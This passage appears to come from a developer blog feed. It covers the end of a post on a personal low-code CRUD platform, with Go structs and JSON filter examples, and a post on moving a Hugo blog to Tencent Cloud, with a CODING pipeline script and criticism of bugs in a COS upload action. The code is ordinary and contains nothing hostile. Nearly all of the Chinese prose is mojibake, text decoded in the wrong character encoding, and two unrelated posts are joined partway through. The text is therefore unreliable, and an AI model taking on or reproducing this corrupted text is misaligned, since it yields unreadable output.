æ¥æ¶ä¸ä¸ªæé¶ä¸ªåæ°ï¼å¦åé¢é <code>true</code>ããéãæä½ <code>NOT xxxx</code> ï¼å¦ä¸ç§æ¯å¸¸è§çåæä½ç¬¦çï¼å¦ãä¸ãæä½ <code>xxx AND xxx</code>ã<code>xxx LIKE xxx</code>ï¼å®ä»¬æ¥æ¶ä¸¤ä¸ªåæ°ã</p>
<p>æ们å®ä¹ä¸ä¸ª <code>Operator</code> ç»æä½ï¼å®è®°å½äºå½å WHERE æ¥è¯¢çæä½ç±»å <code>Type</code>ãåæä½ç¬¦çåæ° <code>Value</code> ãåæä½ç¬¦çå·¦å¼ <code>Left</code> åå³å¼ <code>Right</code>ã注æå·¦å¼åå³å¼åå¯ä»¥æ¯ä¸ä¸ªæ¥è¯¢æ¡ä»¶ï¼æé WHERE æ¡ä»¶çæ¶åéè¦éå½è§£æä¸å»ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">type</span> Operator <span style="color:#ff7b72">struct</span> {
</span></span><span style="display:flex;"><span> Type OperatorType <span style="color:#a5d6ff">`json:"t"`</span>
</span></span><span style="display:flex;"><span> Value json.RawMessage <span style="color:#a5d6ff">`json:"v,omitempty"`</span>
</span></span><span style="display:flex;"><span> Left <span style="color:#ff7b72;font-weight:bold">*</span>Operator <span style="color:#a5d6ff">`json:"l,omitempty"`</span>
</span></span><span style="display:flex;"><span> Right <span style="color:#ff7b72;font-weight:bold">*</span>Operator <span style="color:#a5d6ff">`json:"r,omitempty"`</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>对åºçæä½ç¬¦æ以ä¸è¿äºï¼ä½ å¯ä»¥çå°ä¸æ¹çåæä½ç¬¦é½æ¯å¯¹åºç SQL è¯å¥ä¸çæä½ï¼ä¸é¢åæä½ç¬¦ä¸æ两个ç¹æ®çæä½ <code>FIELD</code> å <code>LITERAL</code> ãå
¶ä¸ <code>FIELD</code> ä¼è¢«è§£æ为 Schemaless 表ä¸çå段ï¼è <code>LITERAL</code> çå
容å°è¢«æ¾å° JavaScript Engine ä¸è¿è¡ï¼è¯·æ±ç Query å Body ä¼è¢«è§£æå注å
¥å° JavaScript Runtime ä¸ãä½ å¯ä»¥éè¿ä¸ä¸ªå¼ä¸º <code>$request.query.id</code> ç <code>LITERAL</code> æä½æ¿å° <code>id</code> è¿ä¸ª Query åæ°çå¼ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">const</span> (
</span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Binary operators</span>
</span></span><span style="display:flex;"><span> OperatorTypeAnd OperatorType = <span style="color:#a5d6ff">"AND"</span>
</span></span><span style="display:flex;"><span> OperatorTypeOr OperatorType = <span style="color:#a5d6ff">"OR"</span>
</span></span><span style="display:flex;"><span> OperatorTypeNotEqual OperatorType = <span style="color:#a5d6ff">"<>"</span>
</span></span><span style="display:flex;"><span> OperatorTypeEqual OperatorType = <span style="color:#a5d6ff">"="</span>
</span></span><span style="display:flex;"><span> OperatorTypeGreater OperatorType = <span style="color:#a5d6ff">">"</span>
</span></span><span style="display:flex;"><span> OperatorTypeLess OperatorType = <span style="color:#a5d6ff">"<"</span>
</span></span><span style="display:flex;"><span> OperatorTypeGreaterEqual OperatorType = <span style="color:#a5d6ff">">="</span>
</span></span><span style="display:flex;"><span> OperatorTypeLessEqual OperatorType = <span style="color:#a5d6ff">"<="</span>
</span></span><span style="display:flex;"><span> OperatorTypeLike OperatorType = <span style="color:#a5d6ff">"LIKE"</span>
</span></span><span style="display:flex;"><span> OperatorTypeIn OperatorType = <span style="color:#a5d6ff">"IN"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Unary operators</span>
</span></span><span style="display:flex;"><span> OperatorTypeNot OperatorType = <span style="color:#a5d6ff">"NOT"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> OperatorTypeField OperatorType = <span style="color:#a5d6ff">"FIELD"</span>
</span></span><span style="display:flex;"><span> OperatorTypeLiteral OperatorType = <span style="color:#a5d6ff">"LITERAL"</span>
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>å½¢å¦ä¸é¢å端å¾ä¸çé£æ®µ Filterï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#7ee787">"l"</span>: {
</span></span><span style="display:flex;"><span> <span style="color:#7ee787">"t"</span>: <span style="color:#a5d6ff">"FIELD"</span>,
</span></span><span style="display:flex;"><span> <span style="color:#7ee787">"v"</span>: <span style="color:#a5d6ff">"raw"</span>
</span></span><span style="display:flex;"><span> },
</span></span><span style="display:flex;"><span> <span style="color:#7ee787">"r"</span>: {
</span></span><span style="display:flex;"><span> <span style="color:#7ee787">"t"</span>: <span style="color:#a5d6ff">"LITERAL"</span>,
</span></span><span style="display:flex;"><span> <span style="color:#7ee787">"v"</span>: <span style="color:#a5d6ff">"$request.query.raw"</span>
</span></span><span style="display:flex;"><span> },
</span></span><span style="display:flex;"><span> <span style="color:#7ee787">"t"</span>: <span style="color:#a5d6ff">"="</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>æ们ä»æå¤å±å¼å§è§£æï¼å°±æ¯å°å·¦å¼åå³å¼å <code>=</code> æä½ï¼å·¦å¼æ¯æ°æ®è¡¨ç <code>raw</code> å段ï¼å³å¼æ¯ <code>$request.query.raw</code> å³ Query åæ° <code>raw</code>ï¼æ以ä¸è¿°è¿ä¹ä¸é¿ä¸²å°æåç Go 代ç éå½¢å¦ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>query.<span style="color:#d2a8ff;font-weight:bold">Where</span>(<span style="color:#a5d6ff">"raw = ?"</span>, ctx.Query[<span style="color:#a5d6ff">"raw"</span>])
</span></span></code></pre></div><p>ååä¼é
ï¼åååå®å
¨ãåªæ¯ç®åå端è¿ä¸ª Filter è¿æ¯ç»ä½ 个ææ¬æ¡èªå·±å¡« Filter JSONï¼åç»ä¼åæ纯å¾å½¢åç¹ç¹ç¹çç»ä»¶ãï¼å 为è¯ä¼°äºä¸ä¸å¤ªå¥½åï¼æ以å
åçðï¼</p>
<h2 id="å端ææ½è·¯ç±ä¸é´ä»¶">å端ææ½è·¯ç±ä¸é´ä»¶</h2>
<p>è·¯ç±çä¸é´ä»¶ï¼æä¸å¼å§å°±æ³æ常ç¨çåè½å°è£
æ模åï¼ç¶åå端ç´æ¥ææ½ç使ç¨ãå
¶ä¸å¯¹æ°æ®æä½ç主é»è¾ä¸º <code>main</code> ä¸é´ä»¶ï¼è¿ä¸ªä¸å¯å é¤ï¼å
¶å®çå¯ä»¥èªç±ç¼æã</p>
<p>å端çå®ç°å¾ç®åï¼ç¸ä¿¡çè¿ä»»æ Go Web æ¡æ¶æºç çå°ä¼ä¼´é½ç¥éï¼åæ¯äºè¢«è¯´çäºçâæ´è±æ¨¡åâä¹ç±»çä¸è¥¿ã说穿äºå°±æ¯å¯¹æ´ä¸ªä¸é´ä»¶ç Slice <code>for</code> éåä¸ä¸ï¼å¤æåç°å
¶ä¸çæ个ä¸é´ä»¶è¿åååºï¼<code>ctx.ResponseWriter().Written()</code> 为 <code>true</code> ï¼ï¼å°±ç´æ¥æ´ä¸ªè¿åäºï¼è¿éå°±ä¸è´´ä»£ç æ°´åæ°äºã</p>
<p>å端æ使ç¨äº <a href="https://github.com/gilnd/vue3-smooth-dnd">vue3-smooth-dnd</a> è¿ä¸ªåºï¼æ对æ¯äº Vue å¤ä¸ªææ½åºï¼è²ä¼¼åªæè¿ä¸å®¶çå¨ç»æ为ä¸æ»ï¼å¹¶ä¸è¿å¸¦èªå¨å¸éãæåå®ç°çæææä¹æ¯åå满æï¼</p>
<p><img src="https://github.red/images/2024/07/drag-middlewares.gif" alt=""></p>
<p>è¿ä¸ªä¸é´ä»¶æ¨¡åçèç¹æ¯æèªå·±ç»çï¼èæ¯è®¾ç½®ä¸ºç°è²ï¼ ç¶ååé¢æ¾ä¸ä¸ªç»é¿ç <code>div</code> ä½ä¸ºæµç¨çç´çº¿ãé¼ æ æ¾å¨ä¸é´ä»¶èç¹ä¸æ¶ä¼æä¸ä¸ª popup é
ç½®ä¸é´ä»¶çå
·ä½åæ°ãè¿éæ¯ç´æ¥ç¨ç TDesign ç Popup å¼¹åºå±ç»ä»¶ï¼éé¢åæ¾ä¸ä¸ª Card å¡çç»ä»¶æå¼¹åºå±ç©ºé´æå¼å³å¯ã</p>
<h2 id="æå说å å¥">æå说å å¥</h2>
<p>ç®å Sayrud å·²ç»åæ¥å¼åå®å¹¶é¨ç½²å°äºçº¿ä¸ï¼å®å·²ç»å®ç¾æ¯æäºææ³è¦ä¸ä¸ªéæå客è¯è®ºå端çéæ±ï¼åé¢åªéè¦æ¥ä¸æåå¾å端就å¯ä»¥ç¨äºï¼ï¼ç®åæå¼åçå客è¯è®ºç»ä»¶è¿æ²¡ä¸ï¼ä½ ç°å¨çå°çè¿æ¯åä¸åé¾ç¨ç Walineï¼</p>
<p>ä½ å¯è½ä¹æ³¨æå°äºç¼è¾æ¥å£å端æä¸ä¸ªãååºæ ¼å¼ãç Textareaï¼è¿å空çæ¯å 为æè¿æ²¡ææ¾å°ä¸ä¸ªè½å¤ç®æ´å®ä¹ JSON æ°æ®ç»æçæ¹å¼ãæ以ç®åæ¥å£çè¿åç»æä¹æ¯åºå®åæ»çï¼è¿åå¦æä½ æ好çæ³æ³ï¼æ¬¢è¿åè¯æã</p>
<p>è¿ä¸ªé¡¹ç®çå¼åå·®ä¸å¤è±äºä¸ä¸ªæçæ¶é´ï¼æå¹³æ¶ä¸çåå¦ææ空就ä¼ç¨å¾®åç¹ãï¼æ³¨ææ¯ä¸çå¦ï¼æä¸çå¯æ¯å
¢å
¢ä¸ä¸å¹²æ»¡ 8 å°æ¶+ï¼æ¨ä¸å¾ä½å¨é¹
åï¼ç±äºå¼åæ¶é´ä¸è¿è´¯ï¼åå ä¸ææ¶åå°å®¶éæ¯è¾å°èåä¸æ¸
éï¼ç»å¸¸ä¼åºç°åä¸å¤©å¦å®åä¸å¤©ç设计çæ
åµãæåç£ç£ç»ç»æ»ç®æ¯å®æäºï¼ç±äºæ¯çº¯å±ä¸ºæ»¡è¶³èªå·±çéæ±ï¼åå ä¸æ对å®å端å段çæ ¡éªè¿æ²¡ç»ä¸æ¢³çæµè¯è¿ï¼æç®å并ä¸ä¼æè¿ä¸ªç«åå
¬ä¼å¼æ¾ãèåè¿ç§äºå¼ä¸ä¸å°±è½æ¿å»æ°çé±çä¸è¥¿ï¼æå½ç¶ä¹æ´ä¸ä¼å¼æºã</p>
<p>æ»çæ¥è¯´ï¼Sayrud ä¹ç®æ¯åäºèªå·±å½å¹´ 18 å²æ¶ç梦ï¼å°èªå·±å½æ¶æ³å¾ä¸è¥¿ç»ååºæ¥äºãä½ å¯è½æ³¨æå°è¿ä¸ªé¡¹ç®çååä¹é¢è人寻å³ï¼<code>Say - RUD</code> æ¯ <code>CRUD</code> çè°é³ï¼è¿å
¶å®ä¹ä»£è¡¨çæ对è¿ä¸ªé¡¹ç®æªæ¥çè§åãå»å»ð</p>
- è®°å½æå¨è
¾è®¯äºä¸é¨ç½²ä¸ä¸ªç®åéæç½ç«çè°è¾https://github.red/migrate-blog-to-tencent-cloud/Mon, 29 Apr 2024 17:44:04 +0800https://github.red/migrate-blog-to-tencent-cloud/<blockquote>
<p>æç« å°é¢ä½¿ç¨ DALL·E 3 çæ</p>
</blockquote>
<p>ä»ä¸æåºå¼å§ä¸ç´æ¯è¾å¿ï¼æè¿ä¸åå°åè½å®ï¼èªå·±å¨å®¶ä¹ä¼æ¯äºå 天ï¼è¿æè½åç¹èªå·±çäºæ
ã</p>
<p>ç±äºä¸äºåå <span class="heimu" onclick="()=>{}">ï¼æ¯çï¼æè¦å
¥èè
¾è®¯äºï¼</span>ï¼æåå¤å°ä¹åé¨ç½²å¨ Cloudflare Pages ä¸çå客ï¼ä¹å°±æ¯ä½ ç°å¨çå°çè¿ä¸ªç«ç¹ï¼è¿ç§»å°å½å
è
¾è®¯äºä¸ãæ¬ä»¥ä¸ºæ¯å¾ç®åçä¸ä¸ªæä½ï¼å®å
¨æ²¡æå¿
è¦å¤§è´¹å¨ç« å°ä¸é¨åä¸ç¯æç« æ¥è®°å½ï¼ä½ç°å®æ¯æå¨è
¾è®¯äºä¸æ¥æ¥ååè¯äºå¥½å 个产åï¼æç»æå强å°è¿æ´å¥çæç»éææ¹æ¡ç»æèµ·æ¥ã</p>
<p>æ以åä¸ç´æ¯é¿éäºçå¿ å®ç¨æ·ãä½æ对é¿éäºæ¯åç±åæ¨ï¼æ²¡å°éªè¿é¿éäºæ®ç¼ºç产ååè½åå¬ä¸æ人è¯çå¼±æºå®¢æãçè³ä»¥åå¨ EFC ä¸ççæ¶åï¼è·¯è¿è±å½ä¸å¿æ¥¼ä¸æ³å°é¿éäºå°±æ°ä¸æä¸å¤æ¥ãä½å³ä½¿æ¯è¿æ ·ï¼é¿éäºè¿æ¯å
¨ä¸å½æå第ä¸çäºï¼è¿è¯´æä»ä¹ï¼è¯´æå
¶ä»å®¶çäºæ´æ¯èå°çåï¼</p>
<p>说åè
¾è®¯äºï¼æ大ä¸çæ¶åï¼æ¾å¨è
¾è®¯äºä¸å¼è¿å¦çæºï¼åé¢æ¯ä¸äºä¼æ 没äºä¹å°±éæ¯äºãè
¾è®¯äºç»æç第ä¸æè§æ¯ä»ç UI åå¾å¾èæï¼æä½åé¦é¢æç¹ Azure çæè§ãä½é¤å¼ UI ä¹å¤ï¼äº§åçåè½è®¾è®¡è¿æå¾å¤§çæå空é´ã</p>
<p>ææè§å½å
åäºçï¼é½æ¯å
æ¿ç±» OpenStack åä¸å¥ç®¡æ§æºæ¿ç©çèµæºçç³»ç»ï¼ç¶åå¼å§å ECS è¿æ ·çäºä¸»æºï¼åäºä¸éµååè§å¾æå¯ä»¥å¨ä¸å° ECS ä¸è£
ç¹æ°æ®åºè½¯ä»¶ãçæ§è½¯ä»¶ãæ¶æ¯éåä¸é´ä»¶çä¸è¥¿ï¼ç¶ååç¬ææå¦ RDS è¿æ ·çæå¡æ¥åãåäºä¸éµååï¼åç°åå¯ä»¥æ好å¤å° ECS åèµ·æ¥å Kubernetes é群æ管ï¼Kubernetes æ管åäºä¹åååç°å¯ä»¥å¨ä¸é¢äºå¼è·ç¹å®¹å¨å Serverless æå¡……</p>
<p>å°±è¿æ ·å¨ä¹åç产åçè½åä¸ç³ä¸å±ç¶åæ¼åææ°ç产åã</p>
<p>æä¸å¥½è¯ä»·è¿æ ·çåæ³æ¯å¯¹è¿æ¯éãæ认为å¤ç¨å·²æè½ååæ°äº§ååï¼å¯¹äºæ°äº§åçå®ä½ä»¥åå°å
·å¤çæ ¸å¿åè½ï¼å¿
é¡»è¦æ³æ¸
æ¥ãåè¥åºå±çåè½è¿äºå±éï¼æè
å¿
è¦é
置项æ¯è¾âççªâï¼ååºè¯¥èèå¦èµ·çç¶èä¸æ¯å¨ä¸é¢ç³ä¸å±å
¼å®¹ç Shimã</p>
<h2 id="web-åºç¨æ管-webify">Web åºç¨æ管 Webify</h2>
<p>æä¸å¼å§æ¯æ èéæ©è
¾è®¯äºç <a href="https://cloud.tencent.com/product/webify">Webify</a> æ¥é¨ç½²æçéæ页é¢ãä»ååå°±å¯ä»¥çåºå®æ¯åé´ç Netlifyï¼äº§åå½¢æä¸è· NetlifyãVercelãCloudflare Pages ç页é¢æ管产åå·®ä¸å¤ã</p>
<p>ä½é®é¢å°±åºå¨ââè
¾è®¯äºæ²¡æå° Webify ä½ä¸ºçä¸ä¸ªåç¬ç产åè¿è¡ç åï¼å®æ¯å±äºè
¾è®¯äº Cloudbase äºå¼å产åä¸çä¸ä¸ªååè½ï¼è¿ä¸ª Cloudbase æ¯å¥ï¼æ¯ä¸ä¸ªç±»ä¼¼äº LeanCloud æè
Heroku ä¸æ ·çä¸è¥¿ï¼ç¨æ·å¨ä¸é¢æ管 Serverless åºç¨ï¼åæ¶ä½¿ç¨ Cloudbase æä¾çåå¨ãæ°æ®åºãäºå½æ°çåè½ã</p>
<p>Webify ä½ä¸º Cloudbase 产åçä¸ä¸ªååè½ï¼å¤ç¨äº Cloudbase é¨ç½²åºç¨æ¶ç CI/CD å·¥ä½æµãå¯¹äº Cloudbase èè¨è¿ä¸ª Webify å®ä¾æ¯ä¸ä¸ªæé计费ç <code>WebifyPackage</code> âç¯å¢âï¼å¨æ§å¶å°ä¸å°±è«åå
¶å¦å°å° Cloudbase çâç¯å¢âè¿ä¸ªæ¦å¿µéæè¿äº Webify 产åä¸ï¼ä½æ¯è¿ä¸ªâç¯å¢âæ¯ç³»ç»å建çï¼ä½ æ§å¶å°ç¹è¿å»è¿ä¼æ¥é说æ æéï¼</p>
<p>å¨äº§å计费ä¸ï¼Webify æèªå·±çä¸å¥ææä»è´¹çå
ï¼å
å« CDN æµéãéæåå¨å®¹éçå
容ãä½è¿äºç¨éåååºå±ç Cloudbase çç¨éèæä¸è¿ã以è³äºæåå·¥åé®å®¢æ CDN æµéç¨å®äºæ¯æä¹è®¡è´¹ï¼ä»å
æ¯è¯´æµéç¨å®åç´æ¥ååï¼è· CDN æå¡æ å
³ï¼ä¸ä¼åç»æå CDN ç计费ææ¡£ï¼ææåºä»è¯´å¾ååçç¾ä¹åï¼è¿äºä¸ä¼ç´æ¥çµè¯æè¿æ¥è·æ解éæ讲æç½ãï¼æåç°ç°å¨é¿éäºåè
¾è®¯äºç客ææ°´å¹³é½åå·®äºï¼å¨ä¸å¨å°±ä¸ä¸ªçµè¯è¿æ¥è§£éï¼ä¸ºå¥ä¸è½çº¿ä¸æ¶æ¯æè
æ档说æç½ï¼ï¼</p>
<p><img src="https://github.red/images/2024/04/tencent-cloud-workorder-01.png" alt="tencent-cloud-workorder"></p>
<p>ä½ä»¥ä¸ç§ç§ä¹é½åªæ¯æ§å¶å°æä½ä¸æäºä¸åçï¼è®©ææ¥è¯ä¸å®é
产åæä¹æ ·ã</p>
<p>é¦å
æ¯ Weblify ä¸æ¯æ Hugo ç«ç¹çèªå¨æ建ï¼ä¸å Cloudflare Pages æè
Vercel é£æ ·ï¼éæ©å¥½ä»åºåè½èªå¨æ¨æåºææ¯æ ï¼å¹¶è¡¥å
¨æ建å½ä»¤ãWeblify åªæ¯æ常è§ç JavaScript æ¡æ¶ç¼åç项ç®ã</p>
<p>解å³çåæ³ä¹ä¸é¾ï¼æç¨å¾®æ个弯ï¼å¨ GitHub ä¸å»ºä¸ä¸ªä»åºï¼åæ¾æ建好ç Hugo ç«ç¹æ件å³å¯ãåªéå¨å Hugo 项ç®ç GitHub Actions æµæ°´çº¿ä¸å æ¡ Hugo æ建并æ¨éå°ä»åºå³å¯ã</p>
<p>å¨ Weblify ä¸é
ç½® GitHub OAuth ææåï¼éæ©åæ¾æ建åéæèµæºçä»åºï¼ç´æ¥éææ管该ä»åºçå
容ãç¶å Webify æ建åæ¥é亅…</p>
<p><img src="https://github.red/images/2024/04/cloudbase-ci-error.png" alt="cloudbase-ci-error"></p>
<p>æ ¹æ®æ建æ¥å¿ï¼æåç°è¿åå¾ç©ææ¯æ <code>git pull</code> ä¸æ¥çä»åºå
容ï¼ææ ZIP å缩å
ï¼åç¨ Cloudbase CLI æ¨éä¸å»ï¼ç¶åè¿ Cloudbase CLI ä¸æ¯ææ¨éè¶
è¿ 100MB çæ件ï¼åå·¥åé®å®¢æï¼çæ°ï¼</p>
<blockquote>
<p>Webifyç®åéå¶æ建产ç©çä½ç§¯å¨100MBå
ï¼å»ºè®®å®¢æ·åå°é¨ç½²å
çä½ç§¯ã
å¾çãé³è§é¢ç大ä½ç§¯çèµæºï¼å¯ä»¥ä½¿ç¨CLIå·¥å
·æå¨ä¸ä¼ å°ç¯å¢å
çæ个åºå®ç®å½ã</p>
</blockquote>
<p>åï¼ï¼ï¼æç«ç¹è¶
è¿ 100MB è¿ä¸è½èªå¨æ建è¿å¾æå¨ä¸ä¼ ï¼ï¼ï¼æ¬æ¥ç¨ Weblify å°±æ¯å¾ä¸ªæ¹ä¾¿ï¼æåè¿è¦æèªå·±ä¸ä¼ ï¼</p>
<p>没åæ³ï¼ææç®æ CLI æå¨ä¸ä¼ çæ¥éª¤æ¾å° GitHub Actions çå·¥ä½æµéï¼å³ Hugo æ建å®åç´æ¥ä¸ä¼ è³ Weblifyãæäºå天æåäºï¼ç»æ Webify 访é®ç½é¡µç´æ¥æ¾ç¤º <code>NO ROUTE</code> æ¥éï¼ä¸å¨æ§å¶å°ä¸ä¹å®å
¨æ²¡ææ¾å°é»è®¤ä¸»é¡µã404 页é¢çé
置项ãææ³å°±ç®æ解å³äº <code>NO ROUTE</code> çé®é¢ï¼åé¢é»è®¤ä¸»é¡µå 404 页é¢é
ç½®ä¸äºä¹è¿æ¯æ®åºï¼ç´¢æ§ç´æ¥ç³è¯·é款ï¼æ¾å¼ï¼</p>
<h2 id="åå½-cos--cdn">åå½ COS + CDN</h2>
<p>é£åªè½åå°ä¼ ç»çéæç½ç«é¨ç½²æ¹æ¡ï¼å°éææ件ä¸ä¼ è³ COSï¼è
¾è®¯äºç对象åå¨ï¼ï¼ç¶ååé¢å¥ä¸ª CDNã</p>
<p>继ç»æ¹ GitHub Actions æµæ°´çº¿ï¼å°æ建好ç产ç©ä¸ä¼ è³ COS Bucketãç¶åæåç°å®æ¹æä¾ç <a href="https://github.com/TencentCloud/cos-action">COS Action</a> å°±æ¯ä¸ª Bug ç¾åºçåå¾ï¼è¿éæè¦å®å diss è¿ä¸ªä»åºçåä½è
<a href="https://github.com/mingshun">mingshun</a> æä¸ç¥éä½ æ¯ä¸æ¯é¹
åçï¼ä½æç¥éä½ è¯å®æ²¡è®¤çæµè¯è¿ä½ åç代ç ï¼</p>
<p>ä¾å¦ä»¥ä¸ä»£ç <a href="https://github.com/TencentCloud/cos-action/blob/master/index.js#L110C5-L110C43">TencentCloud/[email protected]#L110</a>ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>} <span style="color:#ff7b72">while</span> (data.IsTruncated <span style="color:#ff7b72;font-weight:bold">===</span> <span style="color:#a5d6ff">'true'</span>);
</span></span></code></pre></div><p>è¿ä¸ª <code>IsTruncated</code> ä¼ è¿æ¥åªè½æ¯ Boolean ç±»åç <code>true</code> æè
<code>false</code>ï¼ä½ æ¿ä»è·ä¸ä¸ªå符串类åç<code>'true'</code> 强æ¯è¾ï¼è¿éæ为 <code>false</code>ï¼å¯¼è´è¿ä¸ª <code>while</code> 循ç¯æ°¸è¿ä¹è·³ä¸åºæ¥ï¼ä¸ç´å¡çãæç¡ä¸è§éæ¥ååç°æç Workflow è·äºå
个å°æ¶ï¼ç¶å被 GitHub å 为è¶
æ¶å¹²æäºã</p>
<p>é¤äºä¸é¢çè¿ä½åä½è
ï¼è¿æ <a href="https://github.com/ShirasawaSama">Shirasawa</a> è¿ä½ï¼å 为æææåä¹å
³æ³¨äºè¿ä½èå¥ï¼å æ¤æå°±ä¸å·äºãæåªè½è¯´èå¥ä½ å¤çä¸ COS SDK çæºç å§ï¼ææå°±æ <code>accelerate</code> è¿ä¸ªå éåååæ°çï¼ä½ éå¾èªå·±å®ç°ä¸ªï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>Domain<span style="color:#ff7b72;font-weight:bold">:</span> core.getInput(<span style="color:#a5d6ff">'accelerate'</span>) <span style="color:#ff7b72;font-weight:bold">===</span> <span style="color:#a5d6ff">'true'</span> <span style="color:#ff7b72;font-weight:bold">?</span> <span style="color:#a5d6ff">'{Bucket}.cos.accelerate.myqcloud.com'</span> <span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#79c0ff">undefined</span>,
</span></span></code></pre></div><p>æå¾åé¢ä¸å¼<code>accelerate</code> é£å°±æ¯ç´æ¥ Domain 为 <code>undefined</code> ç¶åæ¥éã</p>
<p>没åæ³ï¼é´äºå®æ¹ç Actions è´¨éå¦æ¤ä¹å·®ï¼æç´¢æ§ Fork æ¹äºä¸ªèªå·±ç¨ï¼<a href="https://github.com/wuhan005/tencent-cos-action/">wuhan005/tencent-cos-action</a>ãç¶åææ讶çåç°ï¼ä» GitHub Actions çç¾å½èç¹ï¼å³ä½¿èµ° accelerate å éååä¸ä¼ æ件å°ä½äºä¸æµ·ç COS Bucketï¼ä¹æ¯ 1-2 ç§ä¸ä¼ ä¸ä¸ªæ件ï¼ææ¯æ¬¡é¨ç½²é½è¦ä¸ä¼ 1000+ 个æ件ï¼ç´æ¥å¤§å个å°æ¶è¿å»äºï¼è¿ä¸ªé¨ç½²ä¸ä¼ çæ¶é´æ¯ææ æ³æ¥åçã</p>
<h3 id="coding">CODING</h3>
<p>é£æå¾æ³åæ³è®© Hugo å¨å¢å
çèç¹è¿è¡æ建ï¼ç¶åä»å¢å
ä¼ å° COS Bucket ä¸ãè¿æ¬¡ï¼æç¯ä¸äºè
¾è®¯äºèªå·±æç代ç æç®¡å¹³å° CODINGï¼æ¬è´¨ä¸å°±æ¯ä¸ªå¥é½æçç¼åæªã</p>
<p>好å¨ä»å¯ä»¥æ·»å å¤é¨ç GitHub ä»åºï¼å¹¶éè¿ GitHub OAuth ææåï¼å¨ä»åºä¸å®è£
CODING ç GitHub Appï¼é
ç½® WebHookãGitHub ä»åºææ°çæ¨éåï¼è§¦å CODING çæµæ°´çº¿è¿è¡æ建ãç»è¿æ°æ¬¡è°è¯åï¼æç»å¯ç¨ç CODING æµæ°´çº¿æ件å
容å¦ä¸ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>pipeline {
</span></span><span style="display:flex;"><span> agent any
</span></span><span style="display:flex;"><span> stages {
</span></span><span style="display:flex;"><span> stage('æ£åº') {
</span></span><span style="display:flex;"><span> steps {
</span></span><span style="display:flex;"><span> checkout([$class: 'GitSCM',
</span></span><span style="display:flex;"><span> branches: [[name: GIT_BUILD_REF]],
</span></span><span style="display:flex;"><span> userRemoteConfigs: [[
</span></span><span style="display:flex;"><span> url: GIT_REPO_URL,
</span></span><span style="display:flex;"><span> credentialsId: CREDENTIALS_ID
</span></span><span style="display:flex;"><span> ]]])
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> stage('å®è£
Hugo') {
</span></span><span style="display:flex;"><span> steps {
</span></span><span style="display:flex;"><span> sh 'apt install snapd'
</span></span><span style="display:flex;"><span> sh 'snap install hugo dart-sass'
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> stage('æ建') {
</span></span><span style="display:flex;"><span> steps {
</span></span><span style="display:flex;"><span> sh 'hugo --minify'
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> stage('ä¸ä¼ å° COS Bucket') {
</span></span><span style="display:flex;"><span> steps {
</span></span><span style="display:flex;"><span> sh "coscmd config -a ${COS_SECRET_ID} -s ${COS_SECRET_KEY} -b ${COS_BUCKET_NAME} -r ${COS_BUCKET_REGION}"
</span></span><span style="display:flex;"><span> sh "coscmd upload -rfs --delete public/ /"
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> stage("å·æ° CDN ç¼å") {
</span></span><span style="display:flex;"><span> steps {
</span></span><span style="display:flex;"><span> sh "pip install --upgrade tencentcloud-sdk-python"
</span></span><span style="display:flex;"><span> sh "python ./dev/refresh-tencent-cdn.py -i ${COS_SECRET_ID} -k ${COS_SECRET_KEY}"
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>æå¨ Hugo ä»åºä¸å äºä¸ªå·æ°è
¾è®¯äº CDN ç¼åç Python èæ¬ï¼ä¸ä¼ æåååæ§è¡è¿ä¸ªèæ¬å·æ° CDN ç¼åãç°å¨å®æ´æ建并é¨ç½²ä¸æ¬¡çæ¶é´å¤§çº¦å¨ 3-4 åéã</p>
<p><img src="https://github.red/images/2024/04/coding-ci.png" alt="coding-ci"></p>
<p>å强è½æ¥åå§ï¼è¦ç¥éå¨ Cloudflare Pages ä¸å¯æ¯ 1-2 åéå°±è½å®æï¼å¹¶ä¸è¿ä¸éè¦æèªå·±åè¿ä¸ªå¤çé
ç½®ï¼ï¼</p>
<h2 id="说å-cdn-é²çå·">说å CDN é²çå·</h2>
<p>è´¹å²å¨æï¼ææ»ç®æ¯æåçå°å客é¨ç½²å°äºè
¾è®¯äºä¸ã</p>
